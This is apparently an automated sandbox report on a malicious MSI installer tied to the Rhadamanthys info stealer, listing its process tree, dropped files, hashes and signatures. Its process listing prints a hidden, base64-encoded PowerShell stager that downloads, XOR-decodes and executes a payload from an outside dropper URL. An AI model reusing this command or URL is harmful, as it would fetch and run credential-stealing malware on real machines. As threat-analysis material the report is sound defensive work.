Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240709-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/07/2024, 06:49

General

  • Target
    x64__setup__build_18957/setup.msi
  • Size 34.8MB
  • Sample240712-hlmnrasfml
  • SHA256 8735b260af2dd098418563efcc05d006f22239ba04108de94dbabc638dfd338f
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    https://two-root.com/02074.bs64

Signatures

  • Rhadamanthys

    Rhadamanthys is an info stealer written in C++ first seen in August 2022.

  • Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs
  • Blocklisted process makes network request 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Windows directory 16 IoCs
  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 9 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Installer Packages 1 TTPs 1 IoCs
  • Program crash 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 12 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 2 IoCs
  • Suspicious use of UnmapMainImage 2 IoCs
  • Suspicious use of WriteProcessMemory 18 IoCs

Processes

  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k UnistackSvcGroup -s CDPUserSvc
    1⤵
      PID:2972
      • C:\Windows\SysWOW64\openwith.exe
        "C:\Windows\system32\openwith.exe"
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:1344
    • C:\Windows\system32\msiexec.exe
      msiexec.exe /I C:\Users\Admin\AppData\Local\Temp\x64__setup__build_18957\setup.msi
      1⤵
      • Enumerates connected drives
      • Event Triggered Execution: Installer Packages
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:1864
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe /V
      1⤵
      • Enumerates connected drives
      • Drops file in Windows directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1544
      • C:\Windows\syswow64\MsiExec.exe
        C:\Windows\syswow64\MsiExec.exe -Embedding 3B52C08ED0CDC81537BFAAB51F068ED4
        2⤵
        • Blocklisted process makes network request
        • Loads dropped DLL
        PID:436
      • C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\UnRAR.exe
        "C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\UnRAR.exe" x -p2161183588a "C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\nijboq.rar" "C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\"
        2⤵
        • Executes dropped EXE
        PID:4780
      • C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\rnpkeys.exe
        "C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\rnpkeys.exe"
        2⤵
        • Suspicious use of SetThreadContext
        • Executes dropped EXE
        • Loads dropped DLL
        • Suspicious use of WriteProcessMemory
        PID:2180
        • C:\Windows\SysWOW64\explorer.exe
          C:\Windows\SysWOW64\explorer.exe explorer.exe
          3⤵
          • Suspicious use of NtCreateUserProcessOtherParentProcess
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of UnmapMainImage
          • Suspicious use of WriteProcessMemory
          PID:3992
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -windowstyle hidden -e JAB3AD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBjAGwAaQBlAG4AdAA7ACQAYgBzAD0AJAB3AC4ARABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAIgBoAHQAdABwAHMAOgAvAC8AdAB3AG8ALQByAG8AbwB0AC4AYwBvAG0ALwAwADIAMAA3ADQALgBiAHMANgA0ACIAKQA7AFsAQgB5AHQAZQBbAF0AXQAgACQAeAA9AFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABiAHMALgBSAGUAcABsAGEAYwBlACgAIgAhACIALAAiAGIAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAQAAiACwAIgBoACIAKQAuAFIAZQBwAGwAYQBjAGUAKAAiACQAIgAsACIAbQAiACkALgBSAGUAcABsAGEAYwBlACgAIgAlACIALAAiAHAAIgApAC4AUgBlAHAAbABhAGMAZQAoACIAXgAiACwAIgB2ACIAKQApADsAZgBvAHIAKAAkAGkAPQAwADsAJABpACAALQBsAHQAIAAkAHgALgBDAG8AdQBuAHQAOwAkAGkAKwArACkAewAkAHgAWwAkAGkAXQA9ACAAKAAkAHgAWwAkAGkAXQAgAC0AYgB4AG8AcgAgADEANgA3ACkAIAAtAGIAeABvAHIAIAAxADgAfQA7AGkAZQB4ACgAWwBTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBFAG4AYwBvAGQAaQBuAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAJAB4ACkAKQA=
            4⤵
            • Blocklisted process makes network request
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:4932
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 1664
            4⤵
            • Program crash
            PID:3340
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 732
            4⤵
            • Program crash
            PID:3632
          • C:\Windows\SysWOW64\WerFault.exe
            C:\Windows\SysWOW64\WerFault.exe -u -p 3992 -s 1860
            4⤵
            • Program crash
            PID:4872
    • C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -pss -s 184 -p 3992 -ip 3992
      1⤵
        PID:1112
      • C:\Windows\SysWOW64\WerFault.exe
        C:\Windows\SysWOW64\WerFault.exe -pss -s 420 -p 3992 -ip 3992
        1⤵
          PID:4652
        • C:\Windows\SysWOW64\WerFault.exe
          C:\Windows\SysWOW64\WerFault.exe -pss -s 464 -p 3992 -ip 3992
          1⤵
            PID:5040

          Network

                MITRE ATT&CK Enterprise v15

                Replay Monitor

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                Downloads

                e5785ae.rbs

                • Path C:\Config.Msi\e5785ae.rbs
                • Size 25KB
                • SHA256 33b5a3b78d81e4d45146c7bc0e759ccbc54438e713d194ee3608f699f0691b96
                • MD5 SHA1 SHA512 SSDEEP

                __PSScriptPolicyTest_1sd5xjuk.nso.ps1

                • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_1sd5xjuk.nso.ps1
                • Size 60B
                • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                • MD5 SHA1 SHA512

                UnRAR.exe

                • Path C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\UnRAR.exe
                • Size 494KB
                • SHA256 e51021f6cb20efbd2169f2a2da10ce1abca58b4f5f30fbf4bae931e4ecaac99b
                • MD5 SHA1 SHA512 SSDEEP

                nijboq.rar

                • Path C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\nijboq.rar
                • Size 334KB
                • SHA256 d42015f09eaa5212b07312814d9084c58513682ac68ca9f14bebd6cb94ef850b
                • MD5 SHA1 SHA512 SSDEEP

                rnp.dll

                • Path C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\rnp.dll
                • Size 1.0MB
                • SHA256 de01f704428f539718b7e1872916569318dbca40c04477246335ab1685de9840
                • MD5 SHA1 SHA512 SSDEEP

                rnpkeys.exe

                • Path C:\Users\Admin\AppData\Roaming\Troxbox Publish\TroxApp\rnpkeys.exe
                • Size 780KB
                • SHA256 14b6f5c640c73cdd99e5834e7a56ab3d2912abe623bf5e41946154dad69e5f26
                • MD5 SHA1 SHA512 SSDEEP

                MSI8628.tmp

                • Path C:\Windows\Installer\MSI8628.tmp
                • Size 738KB
                • SHA256 ca763693cc25d316f14a9ebad80ebf00590329550c45adb7e5205486533c2504
                • MD5 SHA1 SHA512 SSDEEP

                MSI889D.tmp

                • Path C:\Windows\Installer\MSI889D.tmp
                • Size 1.1MB
                • SHA256 81e0df47bcb2b3380fb0fb58b0d673be4ef1b0367fd2b0d80ab8ee292fc8f730
                • MD5 SHA1 SHA512 SSDEEP

                MSIA0BB.tmp

                • Path C:\Windows\Installer\MSIA0BB.tmp
                • Size 364KB
                • SHA256 f9956417af079e428631a6c921b79716d960c3b4917c6b7d17ff3cb945f18611
                • MD5 SHA1 SHA512 SSDEEP

                e5785ab.msi

                • Path C:\Windows\Installer\e5785ab.msi
                • Size 34.8MB
                • SHA256 8735b260af2dd098418563efcc05d006f22239ba04108de94dbabc638dfd338f
                • MD5 SHA1 SHA512 SSDEEP

                memory/1344-227-0x0000000000BA0000-0x0000000000BA9000-memory.dmp

                memory/1344-234-0x0000000077AC0000-0x0000000077CD5000-memory.dmp

                memory/1344-231-0x00007FF80F250000-0x00007FF80F445000-memory.dmp

                memory/1344-230-0x0000000002830000-0x0000000002C30000-memory.dmp

                memory/2180-159-0x0000020A1F610000-0x0000020A1F635000-memory.dmp

                memory/2180-158-0x0000020A1F650000-0x0000020A1F651000-memory.dmp

                memory/3992-161-0x0000000000990000-0x00000000009B8000-memory.dmp

                memory/3992-222-0x00000000045C0000-0x00000000049C0000-memory.dmp

                memory/3992-223-0x00000000045C0000-0x00000000049C0000-memory.dmp

                memory/3992-226-0x0000000077AC0000-0x0000000077CD5000-memory.dmp

                memory/3992-162-0x0000000000990000-0x00000000009B8000-memory.dmp

                memory/3992-160-0x0000000000990000-0x00000000009B8000-memory.dmp

                memory/3992-224-0x00007FF80F250000-0x00007FF80F445000-memory.dmp

                memory/4932-220-0x00000258B3B10000-0x00000258B3CD2000-memory.dmp

                memory/4932-221-0x00000258B4210000-0x00000258B4738000-memory.dmp

                memory/4932-185-0x00000258B3470000-0x00000258B348C000-memory.dmp

                memory/4932-169-0x00000258B3440000-0x00000258B3462000-memory.dmp